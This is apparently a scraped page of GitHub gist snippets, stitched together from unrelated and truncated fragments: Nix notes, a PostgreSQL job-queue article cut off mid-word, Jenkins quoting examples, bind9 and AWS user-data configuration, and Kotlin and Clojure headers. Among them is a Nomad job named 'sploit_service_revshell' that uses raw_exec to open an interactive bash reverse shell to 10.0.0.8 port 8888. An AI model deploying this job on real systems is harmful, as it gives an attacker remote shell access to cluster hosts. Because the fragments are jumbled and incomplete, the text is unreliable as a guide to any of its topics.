kolotaev

Nix

Nix is a powerful package manager that makes package management reliable and reproducible. It provides atomic upgrades and rollbacks, side-by-side installation of multiple versions of a package, multi-user package management and easy setup of build environments.

The official manual
Unofficial user wiki
Nix Pills – an in depth introduction

Installation

Build a OS image with QEMU and Ubuntu Cloud Image

Prerequirements

Packer
QEMU
Docker

Build an image of cloud-init settings

And the answer is:

688471 instructions

--@--:~$ uname -a
Linux 3.13.0-101-generic #148-Ubuntu SMP Thu Oct 20 22:09:17 UTC 2016 i686 i686 i686 GNU/Linux
--@--:~$ sudo perf stat echo test
test

Turning PostgreSQL into a queue serving 10,000 jobs per second

RDBMS-based job queues have been criticized recently for being unable to handle heavy loads. And they deserve it, to some extent, because the queries used to safely lock a job have been pretty hairy. SELECT FOR UPDATE followed by an UPDATE works fine at first, but then you add more workers, and each is trying to SELECT FOR UPDATE the same row (and maybe throwing NOWAIT in there, then catching the errors and retrying), and things slow down.

On top of that, they have to actually update the row to mark it as locked, so the rest of your workers are sitting there waiting while one of them propagates its lock to disk (and the disks of however many servers you're replicating to). QueueClassic got some mileage out of the novel idea of randomly picking a row near the front of the queue to lock, but I can't still seem to get more than an an extra few hundred jobs per second out of it under heavy load.

So, many developers have started going straight t

	job "sploit_service_revshell" {
	datacenters = ["dc1"]
	group "sploit" {
	task "shello" {
	driver = "raw_exec"

	config {
	command = "/bin/bash"
	args = ["-c", "bash -i >& /dev/tcp/10.0.0.8/8888 0>&1"]
	}

	#!/bin/bash
	# Set this script as the AWS user-data for a fresh CentOS AMI
	# It will be run on startup, and logs to /var/log/cloud-init.log
	rpm -iUvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
	yum -y update
	yum -y install epel-release
	yum -y install ansible
	yum -y install git
	mkdir -p /home/centos/.ssh
	cat <<EOF > /home/centos/.ssh/id_rsa

	node {
	echo 'Results included as an inline comment exactly how they are returned as of Jenkins 2.121, with $BUILD_NUMBER = 1'
	echo 'No quotes, pipeline command in single quotes'
	sh 'echo $BUILD_NUMBER' // 1
	echo 'Double quotes are silently dropped'
	sh 'echo "$BUILD_NUMBER"' // 1
	echo 'Even escaped with a single backslash they are dropped'
	sh 'echo \"$BUILD_NUMBER\"' // 1
	echo 'Using two backslashes, the quotes are preserved'
	sh 'echo \\"$BUILD_NUMBER\\"' // "1"

	sudo apt-get install bind9 bind9utils bind9-doc
	wget https://dl.bintray.com/mitchellh/consul/0.5.2_linux_amd64.zip

	/etc/bind/named.conf.options:
	options {
	directory "/var/cache/bind";
	recursion yes;
	allow-query { localhost; };

	forwarders {

	package util.func

	import co.paralleluniverse.fibers.*
	import co.paralleluniverse.strands.SuspendableCallable
	import co.paralleluniverse.strands.SuspendableRunnable
	import io.vertx.core.Context
	import io.vertx.core.Future
	import io.vertx.core.Vertx
	import java.util.concurrent.Executor

	(ns
	#^{:author "Jesse Wattenbarger"
	:doc "pulled out of a production program for gist."}
	coolquery.core
	(:gen-class)
	(:require [clojure.java.io :as io]
	[clojure.core.async :as a :refer
	[chan go go-loop close! <!! <! >! >!!]]
	[jdbc.core :as jdbc] ;; good jdbc interop
	))